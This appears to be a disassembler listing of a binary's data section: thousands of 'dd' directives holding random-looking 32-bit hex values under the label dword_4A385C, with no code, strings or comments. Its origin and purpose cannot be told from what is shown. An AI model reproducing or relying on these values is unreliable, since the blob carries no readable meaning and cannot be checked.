		dd 0DF5CE727h, 0C49219Ah, 54198ADBh, 0CE622159h, 64430768h
		dd 5135AE6Eh, 3DA746CCh, 0F701A550h, 0E1025D8h,	20DD71EFh
		dd 81809241h, 12490BE5h, 0CD07618h, 1409B80Eh, 0D148A0A3h
		dd 6032E9E8h, 68C72DFBh, 3B4BEB5Ch, 47A58C0h, 0DFF72412h
		dd 0FDEA0058h, 0ABE9D97Bh, 51F4514Eh, 5B134067h, 80311497h
		dd 8042F6F7h, 5B1DFC08h, 9D79F480h, 0EC8187CCh,	58E328D0h
		dd 27E9EBC0h, 0D8D1D51Eh, 9F09D820h, 7D17646Ah,	0FB4FBC04h
		dd 62812BE2h, 0A5E8A395h, 9DCAD2B4h, 80A736DEh,	7F019B48h
		dd 643770Eh, 2B6D7EEBh,	5A011A2Ch, 57EF284Fh, 0C960DF89h
		dd 91D24E9h, 0D048BE7Ah
dword_4A385C	dd 0CA90F702h, 43776582h, 812E4A3h, 59173686h, 3F132D01h
		dd 67CE6F4h, 926DC011h,	0B9104DADh, 0C5800BAAh,	1266F410h
		dd 4F86F67Ch, 0AAA5D6A1h, 370E1022h, 0EF01CD76h, 0E7AF099Fh
		dd 1A43FC7Fh, 77AF830Dh, 0A9F185C0h, 7E263A12h,	0D912D0AEh
		dd 0E89023D0h, 567B3D31h, 0C43CDDB7h, 0EED2214Ch, 0BE04CED8h
		dd 59555221h, 4FED81CCh, 8068B542h, 0F0714C0Ch,	0D0FD290Ah
		dd 0C680834h, 0FBE90414h, 1FE3ED95h, 4E45254Dh,	3591EAD1h
		dd 12F5073h, 0D60C93A2h, 0CE18806Ch, 0E9ADC891h, 0E3155A94h
		dd 9A371504h, 0BD579EB4h, 0AE416E87h, 0B82E5A30h, 27A260A7h
		dd 4106945h, 0BBE9C501h, 0FB8CBBFFh, 3FAF417Dh,	0C958B983h
		dd 492C7BAAh, 0E0C0BAC9h, 0F178315Bh, 10B6EE37h, 0D35AF5D2h
		dd 4A5FA5F1h, 859E5526h, 55E06813h, 50CFEBBCh, 0CF383C41h
		dd 2D93758h, 5D554C2Dh,	4358C003h, 3F7E2573h, 789FB7D0h
		dd 5ECD09AEh, 3F087779h, 415DA5EBh, 9FBDA645h, 0FC2C1692h
		dd 3D53F541h, 7FF62105h, 0EE4B42CAh, 394EA228h,	544CE873h
		dd 58D1E10h, 0D36F302Dh, 5D8A681h, 5BE90741h, 0B0B01634h
		dd 4BC67958h, 0CFBAB485h, 0E749270Bh, 4BB0D60Ah, 2DB9860Dh
		dd 32FB5AF2h, 0E5D555B3h, 9CE94278h, 0D527E676h, 70766E3Ah
		dd 39560D00h, 3E40494Dh, 5F275750h, 2820CFF8h, 0DA6095D3h
		dd 48985CE4h, 8BBFEAF8h, 3B9DF9Ah, 8B342C4Ah, 1A2C80D9h
		dd 1719C981h, 728EB6Eh,	94E90194h, 2FB9C990h, 5D2CD2F8h
		dd 0DC5C123Ah, 0C73080B3h, 286C06F3h, 0EBEFF0CFh, 0C9E4B907h
		dd 0AE0AE92Ah, 0BDA65A50h, 3C7C07B0h, 75CD822Dh, 694A6494h
		dd 3A6162D1h, 0E19040E2h, 93075D1h, 6C26E932h, 30376EFDh
		dd 0ED4FA8F0h, 37307D23h, 0D0C70C1Fh, 0D9075871h, 0F34E3825h
		dd 99C90D99h, 0D00276F1h, 0F6C1ABC0h, 3F80D93Eh, 0CEF4194Dh
		dd 0A8824F6Eh, 3C96039Ah, 38A3C68Fh, 0C045C11h,	0B18558Eh
		dd 8DE77DC0h, 29B626AEh, 30D5256Dh, 606DE94Bh, 39C59F1Dh
		dd 8C4F6222h, 0F5896F01h, 0C1509DE9h, 2544B9BFh, 0B0427D8Bh
		dd 66897B40h, 2160C91Eh, 65C2F967h, 5E25F899h, 0AC4F199Eh
		dd 6857C13Ah, 697E7EB1h, 0F0EC3FBBh, 0D388BFA5h, 280A25B1h
		dd 80E1CCDEh, 6970D3EBh, 89EAB67Ch, 0B8596233h,	0EAE67F25h
		dd 9E680EC3h, 0BCAF8441h, 0D744F4F0h, 2D009512h, 9DB78752h
		dd 787895Bh, 0DBAA2CE4h, 183F56F6h, 0F6176750h,	64A02B5h
		dd 5EF12126h, 53B862C3h, 794EE3E9h, 0D4A184B8h,	71286EA8h
		dd 91804AB5h, 2EBE522Fh, 69813974h, 883A8E6Ch, 524B346Dh
		dd 5758C4B7h, 3E9EC818h, 258E5C0h, 306009D2h, 0E19DE6EFh
		dd 0ED4A4069h, 56C3E482h, 0BA4E4E60h, 9C607F99h, 332D603Fh
		dd 0DD7F13E2h, 0D2F71B07h, 76F3504Ah, 91D35FD0h, 67BAE246h
		dd 4A7E5030h, 4C784D09h, 82185801h, 2D1D5408h, 0B5D7E6CAh
		dd 0FBD8AF62h, 0EB2A0324h, 2D934B08h, 0FE1D9476h, 2C4E2400h
		dd 73C38898h, 0BCDD5B58h, 0C7C504E4h, 16AFC1E9h, 26B78AECh
		dd 0C4A7548Ah, 629CD5h,	198862D4h, 5001D101h, 4653E5B8h
		dd 73C80507h, 0C12A34A7h, 0F191FF7Ch, 5DC22367h, 595966D4h
		dd 3558E350h, 1D5B0BF4h, 96575F3Ah, 25B10971h, 187C7485h
		dd 2955BE40h, 0BB2D03A8h, 95646E5Eh, 60568FFAh,	1B1EFF2Dh
		dd 2FB4EA48h, 292604CBh, 9FA33381h, 0AA94ED93h,	5E541731h
		dd 5F892E2Fh, 2F4BF2E0h, 5B4819C1h, 0A59101EDh,	2CCDBBDh
		dd 0BDAE4042h, 1C3020F8h, 35173005h, 0F8495E7Bh, 0BF341E0Ch
		dd 0B529F24Ch, 30419A4Ah, 494038B8h, 33602D48h,	0C2EB810Dh
		dd 3013273Eh, 88908F7h,	285A5428h, 0F882BD27h, 177D6D47h
		dd 0EE4006C1h, 8177BD42h, 404FE691h, 6B0EF7C2h,	1B7F9767h
		dd 7260E0F2h, 114400Fh,	87A34795h, 61B321BBh, 2EDA31DDh
		dd 14C118F2h, 3E0DD50Bh, 704CCB1h, 8B0BB2BFh, 622D5457h
		dd 0C9EEC789h, 29EB015Fh, 0C2B96ACAh, 78FAF12Fh, 2E757F20h
		dd 0EF1A295Eh, 3B412DC9h, 0ECE845ACh, 0D13E6749h, 0BDF6C33Bh
		dd 813F7E1h, 7F57F25Fh,	7BFF064Ch, 55AF2D47h, 8D8BD6DFh
		dd 0C2DB34Ch, 0BB05E9D2h, 0A1D2E6Bh, 687A80BFh,	0D0A80BE8h
		dd 0F6B19CF8h, 0B5584302h, 25204016h, 0EA8616A0h, 8B6CC055h
		dd 7D598452h, 4B074156h, 84C05AB7h, 2602F1C7h, 13745387h
		dd 5899A085h, 0E86597h,	35B8BE56h, 52006AF6h, 430482BAh
		dd 5BD8E91Fh, 4F1CE768h, 4A4A579Ah, 0A7C26315h,	0CC0ECBD4h
		dd 89E5AF59h, 31A220A8h, 0B055BDEh, 0C146DB8h, 6E0A1B02h
		dd 2EB67074h, 2DAD000Ch, 6FC45096h, 769DD801h, 9B1FC3C3h
		dd 0E8B89F44h, 7C38546Bh, 2568C3A2h, 0C458A88Dh, 92A98E71h
		dd 0BEF19C15h, 3944F503h, 27D9A926h, 0BB1687D9h, 0C260173Ah
		dd 9E1AFA68h, 2B4D6299h, 0CF1331D2h, 97090F1Eh,	9DD2D696h
		dd 909AD2E6h, 2DF4EF34h, 0F6847027h, 0D8310B68h, 56135A46h
		dd 26F1C6E9h, 8D1DE97Eh, 0F7E5D97Ch, 0BCFCA7DCh, 6EA18A10h
		dd 7AD06CE4h, 1C1A245h,	2BFAF355h, 86494B68h, 318C22A4h
		dd 45E05DEBh, 0DD3F8458h, 0BAC273Eh, 9223D5C3h,	6169981Ch
		dd 0F680D75Ah, 37F72C33h, 49B5059Fh, 735D5183h,	4E79EC92h
		dd 75C5F662h, 86AD5845h, 0B0AFB65Dh, 0E612201Ch, 2C3C6BF4h
		dd 40EB9741h, 825300E4h, 4288CE5Eh, 71050461h, 0D30C024h
		dd 993A63ACh, 25BC8444h, 49FA4169h, 11747F4Dh, 55115F1Ah
		dd 0EFC1FA42h, 95BC0435h, 6717BED0h, 0EFDCEA85h, 0C5F49F5Ah
		dd 0B53360D2h, 56CA2F58h, 59403DFEh, 0B5519049h, 80D0DCAh
		dd 8817040Ch, 0B960D9FCh, 3A4DC677h, 4B1E4A08h,	0FDDA3B1Ah
		dd 5E00E35Eh, 412A2276h, 669101B8h, 28E9403Bh, 0F1438F69h
		dd 5B292432h, 0AB30E3A1h, 0BF42C026h, 6DA72B43h, 8AE7C9Fh
		dd 0F996F8E0h, 3F01CCABh, 0A495F50h, 3D722A09h,	21E88052h
		dd 95757E49h, 0E9058FD1h, 0F2FEA82Eh, 793F17D0h, 5D016D92h
		dd 7C4BF3D4h, 490B4883h, 0BF92B5C3h, 5F16777Ch,	97303D2Dh
		dd 2C5A818Ah, 0D498A520h, 6AFC25E9h, 91A76B72h,	82AB4327h
		dd 0A451DFC5h, 0C5BFEA7h, 0CF3FED22h, 0AB5BECEEh, 2F1065E3h
		dd 0EB900EEh, 41643835h, 6DC90181h, 0E94B5051h,	3C1E6EC4h
		dd 6C19EC24h, 0DF31D74Dh, 0BFBED52Bh, 0A4968FF2h, 72692B3Fh
		dd 9FBF5A35h, 0FF695BD3h, 7A7D476Eh, 41451CE1h,	0A966052h
		dd 6FC86816h, 0E91F3ACBh, 7914A71Bh, 0FB0FFD2Dh, 558938Ch
		dd 0D2787E70h, 9EC1F9E2h, 902915h, 71846DCBh, 9D4CD268h
		dd 76E58218h, 81619000h, 5B15F8F7h, 4FE9194Dh, 20CAF998h
		dd 6412F293h, 0D0D954F5h, 2549A66Fh, 0B39500AEh, 0F29EB6F5h
		dd 5A91CB41h, 277CCF5Fh, 589FEC7Ch, 80F779F2h, 1442F2D2h
		dd 0B3409555h, 7F48BD60h, 1662007Dh, 0C2315A7Ch, 0F30825E9h
		dd 7D6CD548h, 5D5F1827h, 23C49280h, 0E4B72BF6h,	30E91665h
		dd 57865D63h, 2DC2C8F0h, 6EF76D4Fh, 628E3114h, 2F6BEA01h
		dd 0DF5948EFh, 0D2354809h, 80665A5Dh, 0FF835A08h, 8932AD6Eh
		dd 385093h, 4B5936BBh, 26E6B941h, 55766D2Dh, 0E9CB5180h
		dd 688083FBh, 48245464h, 0C8C09BEh, 80083EEBh, 56510897h
		dd 0F505F08Bh, 0F78031AEh, 68890DD8h, 0A066CD2Ch, 34266D02h
		dd 233A4065h, 4AA33E54h, 0E548004Dh, 2451D013h,	63D7AEC2h
		dd 9EF90B4h, 0C6FA80FDh, 0EBE9540h, 6CE551DEh, 0A7F7CD7Eh
		dd 6D20D83Dh, 0E13C562Fh
		dd 0F83021EDh, 81844005h, 7835C50Bh, 8BDF0F08h,	737E5Dh
		dd 0A5A8CD03h, 9298C801h, 0F7A18033h, 128FB9F8h, 0FC5E0E93h
		dd 19AF9671h, 1527A9Bh,	2C2A215Bh, 54785554h, 21B82C4Bh
		dd 859651BCh, 0B760A56Dh, 0A4008270h, 319766F7h, 4BFE38B8h
		dd 56445424h, 80240848h, 34DBBEAFh, 1746C701h, 108FEA29h
		dd 55E9CD62h, 9B2237DEh, 0D95FF409h, 2698D676h,	0DDC00036h
		dd 0CD299279h, 1592Fh, 82721C5Dh, 0A25F4A28h, 0F7E1C4A1h
		dd 21D93691h, 8BF5307Ah, 15EAB38h, 218664FDh, 614B31D7h
		dd 0D0504BB3h, 0FA770117h, 0EA83424Ah, 0CEB13B01h, 0F600B27Ch
		dd 0BF2256C0h, 0A965977Eh, 13EAD720h, 0F542EBEBh, 5DA7FEE9h
		dd 94259A4Ch, 0BF065ADh, 3CA0A9A6h, 4845247Ch, 0F132D07h
		dd 4EA04275h, 17659F6Ch, 0E920CCE9h, 0FFDB122Eh, 0ACEB8097h
		dd 407E6239h, 0F418864Fh, 0D409DEF6h, 0A8B53851h, 59FEEC2Dh
		dd 0A1EE7112h, 52A37ECBh, 0B4D1CC9Fh, 0E307284Ah, 5871EB80h
		dd 4AAF89B5h, 2DCF11Bh,	65307A97h, 0F9ED1342h, 8B889A37h
		dd 0A7541A68h, 77D259C2h, 75276D4Dh, 0EE0CE8A4h, 0D925295Eh
		dd 0CF68C91Dh, 0D55A7BE9h, 0DEB21EBh, 6F316E77h, 0C9A552ACh
		dd 0B70BD7F6h, 0C179F1AFh, 0C4685056h, 3C4E0532h, 2351F8Ch
		dd 47BB33B6h, 5AC0C689h, 0C2B55E5Bh, 80D8428Fh,	92383D23h
		dd 62E2E301h, 836AF44Ch, 0D1712FEDh, 67B4AF85h,	0E5CD4DE9h
		dd 0AB81134Bh, 70B2A052h, 308157CFh, 6B36E92Ch,	0B828E084h
		dd 184E6979h, 9FC97375h, 849CD357h, 0EF79819Fh,	0E821010Fh
		dd 0B69A11F4h, 0BCFE82C5h, 0C375B66Eh, 5C808CD6h, 4ADA2EDDh
		dd 83F505Fh, 1CDA5B2Ch,	0AD76B458h, 0C68E0B3h, 0C568AB69h
		dd 9324A2BBh, 688FDCBBh, 4B67DE38h, 969339ABh, 2DBE50EDh
		dd 2EB8ED26h, 0D38F7FA9h, 157EDE1h, 87E90044h, 248CA48Eh
		dd 45B82A5Ch, 32E4FCECh, 57C2F95Eh, 0C45BA925h,	0A428F462h
		dd 52A6335Fh, 0D4ACFD92h, 0E0D6589Bh, 91404AE9h, 145C2F6Fh
		dd 0A26869E9h, 0B9440B2Bh, 9692A952h, 0D24E4DFAh, 0DB5B5341h
		dd 0E23ADF7Fh, 2539489Ah, 637CC4D7h, 0D0F76151h, 795B7AF1h
		dd 3649724Fh, 7314869Bh, 0CDEA0459h, 0AE666952h, 6008D850h
		dd 8A06F50Ch, 23E91713h, 33C9AE9Bh, 14F26A60h, 0ED767004h
		dd 0DA4ABA01h, 0FCBF571Ch, 8D4F1024h, 8912C6ECh, 0BA2060D9h
		dd 3A2C2B5Dh, 0AF846C06h, 3A878F03h, 697F836h, 0E760D3EDh
		dd 8D0BFA7Fh, 568C7094h, 0BED127A4h, 77825044h,	8D207D82h
		dd 46A44321h, 0BF63F0BFh, 69CFB75Eh, 0FBE96256h, 481103B5h
		dd 0CE003EE8h, 36879FAh, 0B6661FE9h, 0B1DEE94Ch, 68E9D6C0h
		dd 0C968B54Eh, 5A0DB5C5h, 8E55CC4Dh, 17BC7DD4h,	9F5891Eh
		dd 9B7FD582h, 28A5D061h, 0E9220C43h, 0C26D8F0Eh, 0C505B209h
		dd 0C0955806h, 0D7320872h, 744AE92Fh, 7F1142B1h, 0D83C2BCDh
		dd 3A21FA96h, 0BC39F4FAh, 0ECDE0B8Bh, 0A91EF727h, 0C331F202h
		dd 0C2F90105h, 1E080A0Dh, 7A51A042h, 7CB827A3h,	0FD6F28FCh
		dd 55E3C22Dh, 8700E662h, 81A13DAh, 5C97CEFCh, 975C9B1h
		dd 8DCB76A3h, 2A211D0Bh, 651112BEh, 1C36FB23h, 3B0490E6h
		dd 77A73E54h, 0A800C6DBh, 2D7ECC72h, 13490444h,	84C8293Ah
		dd 0E9080536h, 8517AF72h, 5B992BAEh, 0E1A524E2h, 10BC3754h
		dd 0BA486724h, 1866E47Dh, 88382A0Fh, 0FA284BF7h, 509935Dh
		dd 0B05851E9h, 136AE268h, 0AB0127C4h, 0C127F64h, 41F8C5B4h
		dd 0E1BE6013h, 0BC37291Fh, 1D09E3E8h, 0F7201802h, 0E67D2809h
		dd 0EEBA044Fh, 0FA7D6310h, 0CAE96521h, 6809EB28h, 63E62B44h
		dd 62124F07h, 0E8C9E967h, 0F628C943h, 6E356117h, 2F0A3BEEh
		dd 0FDB7C223h, 5B1AB9EDh, 4180DD48h, 72327ABDh,	20478F05h
		dd 36BB7968h, 0E362B8DCh, 7F2D5862h, 325983E9h,	72FD1978h
		dd 60F2E52Fh, 0C065F3EEh, 0E37BE30h, 681672D6h,	0B2641F83h
		dd 8D85E0ECh, 95B239h, 0AAA93BEFh, 0B4FD01A0h, 6170064h
		dd 5E932A3h, 85CDEF5Ch,	680B948Ch, 57C4D7F5h, 2782E780h
		dd 10C73658h, 29127A76h, 3BE7AFEFh, 0CAB1755Ch,	0E0AC6A54h
		dd 68A709B5h, 0FB577562h, 229C9E4h, 0C0DD3762h,	96D6F768h
		dd 0DE803AC8h, 8234C681h, 0D8A07351h, 922E7C23h, 848FF15h
		dd 0FE5A6426h, 53FC6919h, 0F1D7901h, 4A6D2F7h, 8CB0004h
		dd 0DA215BEDh, 578940E7h, 173EF61Eh, 0D48C6BC1h, 349802A0h
		dd 0F9D582E0h, 1AF20184h, 7A7AD1F0h, 0FCEB11C7h, 53FF5AC0h
		dd 0B778BA30h, 5FF8BB20h, 1F00492Dh, 58056BEEh,	3E69EC22h
		dd 751F029h, 0BF12BEA0h, 86A215CBh, 5C0084Bh, 0B0018BDh
		dd 82873570h, 2BE94DE3h, 41D0E826h, 0C0C32C58h,	5AE804D0h
		dd 11C23024h, 66BA9109h, 39B19018h, 4EA67BC4h, 410A12F3h
		dd 0FA41F1B4h, 85AAEB71h, 0D56B3354h, 515D9F42h, 487D52E2h
		dd 722EE205h, 0E2F6ECDEh, 0AFFE05AEh, 0BBEA08E9h, 0F1F861A4h
		dd 30423D6Eh, 2269F58Dh, 607D0Ch, 69B7493Bh, 0C57B730Fh
		dd 30CBFE07h, 0C329660Eh, 0B9A3516Eh, 123E5ECCh, 0CBE14CCBh
		dd 58490202h, 3BF3DD63h, 5285D3Eh, 425B3041h, 9D8219C5h
		dd 0C6657556h, 140230A8h, 0D16E753Eh, 63A5FFE5h, 75F1B8E7h
		dd 7F48E025h, 64EA726Bh, 5C2F62F6h, 0BF4B1223h,	0CC328900h
		dd 54E9CA82h, 0B2DB710h, 205560DFh, 0C520BB78h,	0C8569F0Eh
		dd 516FF762h, 0D1002FC8h, 795968D0h, 54BD5AFEh,	20E5A0F8h
		dd 0D29775F9h, 8CCE2645h, 5BC0C278h, 429EB44Ch,	0B2BA5592h
		dd 8EEA96E3h, 699F4034h, 4AC05548h, 0CBE45C18h,	8E13256Ch
		dd 7A03FA7Eh, 4466A45h,	1088018h, 30B014Fh, 1B7030D6h
		dd 48CDE4D9h, 0E909E359h, 67A529EAh, 9A6180C3h,	62900A48h
		dd 116825Bh, 5FFADB5h, 0C236F8CEh, 2080FF3Fh, 94241BFh
		dd 0E4CFE97Bh, 6861DFD6h, 0E62A7AF3h, 0B6BDC401h, 85A0FC13h
		dd 0E3B223EFh, 827A5F78h, 0A9D25D52h, 0D7387F0Ch, 9CB0C29h
		dd 31B9755Eh, 3B3E2502h, 0DD8258D1h, 5F2C2778h,	868FFE0h
		dd 55797262h, 0B4B60371h, 7E9159B9h, 3D48B4E7h,	9C575A2Dh
		dd 9D75FEB4h, 0DD94EC89h, 962CF697h, 5578089h, 0F33D1082h
		dd 16C81A3Ch, 42AB7EA3h, 0C47D9C38h, 0CD78B726h, 5611F909h
		dd 0FA9E886Eh, 0D118541Ch, 0B5609A42h, 0EC6B57A2h, 492E4F4h
		dd 0D8160A1Ch, 9BB59801h, 963AC4E9h, 0E712E0Eh,	6994A097h
		dd 0B02C3970h, 1057552h, 0D7214104h, 7F7513E9h,	3E8476ECh
		dd 69F812F2h, 81313278h, 0F95C2D46h, 0BD615196h, 4529B849h
		dd 1D6E6186h, 0E63E7326h, 47021ABBh, 0E66B40F7h, 4A66101Ah
		dd 29571F70h, 0FCE05113h, 45DB45Fh, 0E20F4C68h,	4EE9C226h
		dd 0A79CF4EDh, 3A586D19h, 2B2C3DEAh, 65A261D1h,	5405F973h
		dd 579192E9h, 0ABD1D1EEh, 38EC6A46h, 6E8239B1h,	0A6972BADh
		dd 0B4F84BA1h, 0C88257A2h, 590413D5h, 4C05DCCh,	0B35304EAh
		dd 0DD80AF08h, 0FE30F3EBh, 2FE12FE9h, 93BD65FBh, 2FE76312h
		dd 8370A65Eh, 988C2E9h,	585B5010h, 43052280h, 0D3A44E68h
		dd 113F64Eh, 0EF4244BEh, 9E34E93Ch, 0C8705C0h, 28016986h
		dd 0FB072DC8h, 252DA62Ah, 0D19060A7h, 4E4DEEEAh, 5EAB419Eh
		dd 2079DF19h, 972C5F24h, 514E36Ch, 2BE34107h, 9F542A8h
		dd 6DC860C0h, 0A9381365h, 20BCCC5Eh, 0F4295B85h, 5D0FF111h
		dd 0FE017FB5h, 9C085139h, 4D49221Ch, 8247B55h, 52F733Dh
		dd 339414FBh, 5EC83DF4h
		dd 120DE388h, 4C57B468h, 5F1271BBh, 0DD2D4C57h,	5FB33340h
		dd 247ADF1h, 88500DEBh,	0A11A61D8h, 0DA0BA07h, 0F03E2814h
		dd 74BDB935h, 455C782Fh, 0A738D997h, 0BAED9CD7h, 0A76D2FDBh
		dd 0C309DCD2h, 90D4515h, 0FD3F89A3h, 0D6C16FCBh, 28C326Fh
		dd 64211DCAh, 0C12CA01h, 124C0C08h, 80DE754h, 56A7286Bh
		dd 0AE5A970Ah, 6BEC8513h, 9304513h, 0A4C247D5h,	61AF655Dh
		dd 6FF5FAE9h, 19343F9h,	9167779Ch, 7BCA6F64h, 8148A649h
		dd 0AE169634h, 151D71ACh, 0A741A56Dh, 0CF99EE06h, 2A5EF102h
		dd 99547EFh, 78019775h,	0B65219ECh, 68D8533Ch, 0E912301Ah
		dd 7E471A6h, 0D81E12B4h, 36370309h, 29905D15h, 78E3E9F9h
		dd 0D801170Fh, 0ABB59AACh, 380322C8h, 10C2FF9Fh, 5D25604Ch
		dd 0BB257FF8h, 0D52B18ABh, 0E9669E67h, 0D4C85656h, 9D7E5827h
		dd 96540274h, 82574486h, 86695380h, 942CDCDFh, 65F78080h
		dd 0FB1D0672h, 386820A4h, 0EF4B3EEDh, 2FE9BB9Ch, 527A7C54h
		dd 55B4685Eh, 0E6F0FE5Eh, 0ACC55E01h, 1FC0E73Eh, 0B570A160h
		dd 882F952h, 5C958C1h, 0A41289BDh, 948DA8F7h, 8BF0B1Eh
		dd 0DC590B4Fh, 1C258A1Ah, 30746B85h, 0C8313431h, 0A81EBA3Bh
		dd 6E42D1D7h, 6066D728h, 99CA0304h, 6DA70141h, 8142224Ah
		dd 0EE05DD62h, 0CF41313Dh, 0F96AA8D4h, 42F298E6h, 1E262E1Ah
		dd 7E494275h, 575B5400h, 18672568h, 4EE72118h, 0A400C497h
		dd 0A8464F06h, 69CC8063h, 9E291234h, 600820E9h,	0E0841E5Fh
		dd 2EB5DD28h, 0B90172E9h, 500667D6h, 0F53AEFD9h, 3CF3089h
		dd 8438FA9Ah, 29BE5B5Bh, 63FFF8A9h, 0A660209Eh,	901AD315h
		dd 414A626Eh, 0CAEC0BD4h, 3D27921Ch, 6FBCBB00h,	2FE9619Eh
		dd 0F2D12995h, 66B7B8C0h, 29622DF9h, 0E35E13F0h, 9F6BB3B1h
		dd 0C22C5B29h, 49EBB602h, 7095295Ah, 0C7E91731h, 8894BEF0h
		dd 6A733DBBh, 6D5F0BD0h, 5D290322h, 4A8385B8h, 7FE80199h
		dd 9650E9D8h, 955271Bh,	4EF27273h, 0FC5C857Ch, 8FD2DE18h
		dd 3FF05653h, 5030122Ah, 9ACAB05Ah, 0A4777CF3h,	510981F9h
		dd 0DB5836E9h, 0EC045A13h, 75FA4609h, 2217C893h, 0CD6774BAh
		dd 0DE648B9Eh, 0F85D7A55h, 0B2AE2754h, 2C278949h, 7FCE5F07h
		dd 5745E917h, 0FE6A8893h, 22BC674Bh, 0CE92E2E4h, 90413255h
		dd 327B685Fh, 0B244323Ah, 0A016A95Fh, 391AEFEDh, 6642485Fh
		dd 59270890h, 1AD237E6h, 0E91D81EEh, 0C9C42FBEh, 0CBBBBE13h
		dd 0D3A73CB5h, 0BA5201B0h, 3D026FBBh, 0A369D6E5h, 0B5643F16h
		dd 30FB2A95h, 565F54D0h, 8F6FB7B6h, 0ACB258FEh,	954D7E39h
		dd 2408DAA8h, 9B534202h, 7A4C665Fh, 0B5AA3407h,	0C035836Bh
		dd 5420562Fh, 0C6803C43h, 6FDD660Ch, 0AEC1DE29h, 3B363E12h
		dd 541F922Ah, 0D52D81FCh, 8851C430h, 0EE09DD72h, 75DAC1E9h
		dd 0BD8337C5h, 0B1A675E3h, 463E73E9h, 0E23C7708h, 0B57DE9Dh
		dd 0E55F7C01h, 9589AA91h, 0B3B4BCFFh, 0D4A408EDh, 61B05E25h
		dd 3E761568h, 7CB4CF32h, 6C6927A6h, 5B762C0Bh, 0DCE5BA30h
		dd 21FA3B4Dh, 7548F51Ch, 4B06AB0Ch, 1F67C931h, 1E34CC68h
		dd 0C337FA0Ah, 7FFD7716h, 7A3FF157h, 0BBB760A8h, 587ABFFh
		dd 0F3BA83A9h, 94A7A61h, 0CE0C9C1Dh, 17CD3A59h,	0EB19A248h
		dd 4FDF2281h, 98088747h, 97C77629h, 0E64C82B9h,	19C69DF2h
		dd 965F3B5h, 0DAEACFC8h, 0FF206A57h, 0BA4A9916h, 0AC4B35F9h
		dd 6E292C0Ah, 75D3D616h, 0F87E5D1h, 0F8E769DFh,	0B248EFD3h
		dd 7E6CBA26h, 138AB8C0h, 0EC3D5468h, 5BD584F2h,	0E50F8DBFh
		dd 4A292801h, 4008E7A0h, 681C5D40h, 75257BFEh, 7B4DFE5h
		dd 0B66A108h, 25DE475Ch, 0E54C6A00h, 24C7314Dh,	2FAD5658h
		dd 0C15FB804h, 6E5D4372h, 0C99E40BDh, 38FD2A7Ah, 0ED31682Fh
		dd 0B9FCD557h, 0A1C63880h, 945AF11Dh, 1D138EE1h, 0D2613660h
		dd 8082A9BFh, 18264A6Eh, 0C0094F5Dh, 6BDECBA7h,	7D536425h
		dd 59F37A40h, 2D8EE905h, 6D09DA89h, 572A628Bh, 0CF01BBF6h
		dd 1B3011D8h, 1799E7D8h, 0BD474125h, 8FC13DBFh,	12E9CA50h
		dd 3158F7C1h, 482B0C60h, 0B4A74C83h, 3DCED7Eh, 1FFDABEEh
		dd 0C30C1E30h, 0AB0F9301h, 2AF0B2A4h, 4AB68090h, 0AA2232C2h
		dd 0D71F09DFh, 0F4BD5D16h, 937252BFh, 0C77CD075h, 0B9DF1495h
		dd 49EE4B35h, 5236911Ch, 0B7082021h, 0C22768F9h, 139657AAh
		dd 6504845Bh, 450B3ED6h, 0E4C547C0h, 78BF8A1Fh,	0AA77688Bh
		dd 6337EE2h, 12C2A704h,	2F01FA49h, 4BF26246h, 7B7639A0h
		dd 0DA3E0862h, 665B07FAh, 0D79567A3h, 1F5490A5h, 16072469h
		dd 0AE41BF6Dh, 8911E902h, 0F9EF246Eh, 674E178Eh, 0FB97C2A2h
		dd 9729BC84h, 0C08020F4h, 63AACD31h, 0B0B5251Eh, 0D6A84499h
		dd 8084FCBFh, 6805A4BEh, 0CE810251h, 550467ACh,	19FEFF81h
		dd 0B2236458h, 0F04F5F90h, 7CB6BA12h, 0E2AA644Eh, 0A4E93AA9h
		dd 5F671B87h, 5718893h,	515AD637h, 8F95ABB9h, 0CC89C2AAh
		dd 575CBC68h, 4813B69Eh, 0B7F191F4h, 7A203AE8h,	13D61E9Fh
		dd 0ADA3CBE9h, 89143E9Dh, 845636D8h, 7CB77D30h,	6404234Ch
		dd 0C33FAF0Ch, 0EBA03A80h, 0D30B3113h, 0DFBF03E9h, 3F264A14h
		dd 7CA554FDh, 0C02DC5CBh, 2976052Eh, 7A0E874h, 0F96EFE9h
		dd 7807BE1Ch, 72AE6ABBh, 0C6BA6B80h, 2FB90B06h,	0A985D001h
		dd 627E973Fh, 4F5C505Dh, 0F13279C0h, 21E38006h,	0E912FEB0h
		dd 3E529951h, 6D28BB04h, 0B41E8E10h, 7E61F01h, 0C4D6F658h
		dd 572CBA51h, 0E680041Ah, 0C0CEFE47h, 0F588FD74h, 0EE5A8390h
		dd 0F00929AEh, 3224E9F1h, 38416C03h, 0C689782Bh, 0AF0A5FFDh
		dd 0B6C50090h, 8FE98AB9h, 1816740h, 0BBC823EBh,	6BDF8997h
		dd 0E4E93F02h, 0D1BD5616h, 2E6808C4h, 0E8A82A6Eh, 0DD691795h
		dd 0F353204Bh, 87A2D582h, 51CB52FBh, 0B35307F0h, 0EB801C03h
		dd 0D1D92874h, 58028117h, 8B2A03E8h, 0FA68AD80h, 0A87CB94Bh
		dd 78010F16h, 0D52241C0h, 25564E9h, 553C3362h, 0B927C04Ch
		dd 96EBC42Ch, 83E1A7F9h, 38EB28FAh, 0ED07FF45h,	21AD128Ah
		dd 88B8B7D4h, 0C99AFB4Ah, 6878D14Fh, 8751CA96h,	13107E88h
		dd 70E3AE5Fh, 96DAA1CBh, 55EF200h, 7D104A82h, 3CD05C29h
		dd 54773B04h, 0DC28C056h, 6F4B224Fh, 48C6BCh, 79D1C861h
		dd 28E26B09h, 0C075F7C9h, 0EF0FC9B8h, 0E86AB421h, 0D82902B1h
		dd 663D35E9h, 0C08ED746h, 59C809B1h, 55314879h,	0F53112AEh
		dd 788DA082h, 0CE8D4188h, 0BA13EC50h, 54D164Ch,	6CD14CD6h
		dd 0F800B297h, 0FDDBF718h, 7C27EF40h, 5B78C53Fh, 11EE445Dh
		dd 8E280C9Ah, 0F8B69AF2h, 313B5AC5h, 2B4F90E8h,	4E875E8Ch
		dd 0AA253505h, 0C96AD33Dh, 3B3BC91Ah, 6150A272h, 0EE048668h
		dd 7CEB14h, 189E6A38h, 0DE3A4A68h, 8B99A691h, 0F5DE895Bh
		dd 17D301C3h, 0E44BC0A2h, 13125D94h, 0BE013B36h, 3AA76247h
		dd 27CEC90h, 0BF6B94BAh, 8FB84149h, 58B36800h, 0BA830699h
		dd 726044h, 20A6F292h, 4BE97409h, 0CBBB624Ah, 2680953h
		dd 8801F963h, 29116FF6h, 0BE795E3Dh, 0B8F79E30h, 0CFD03D3Ch
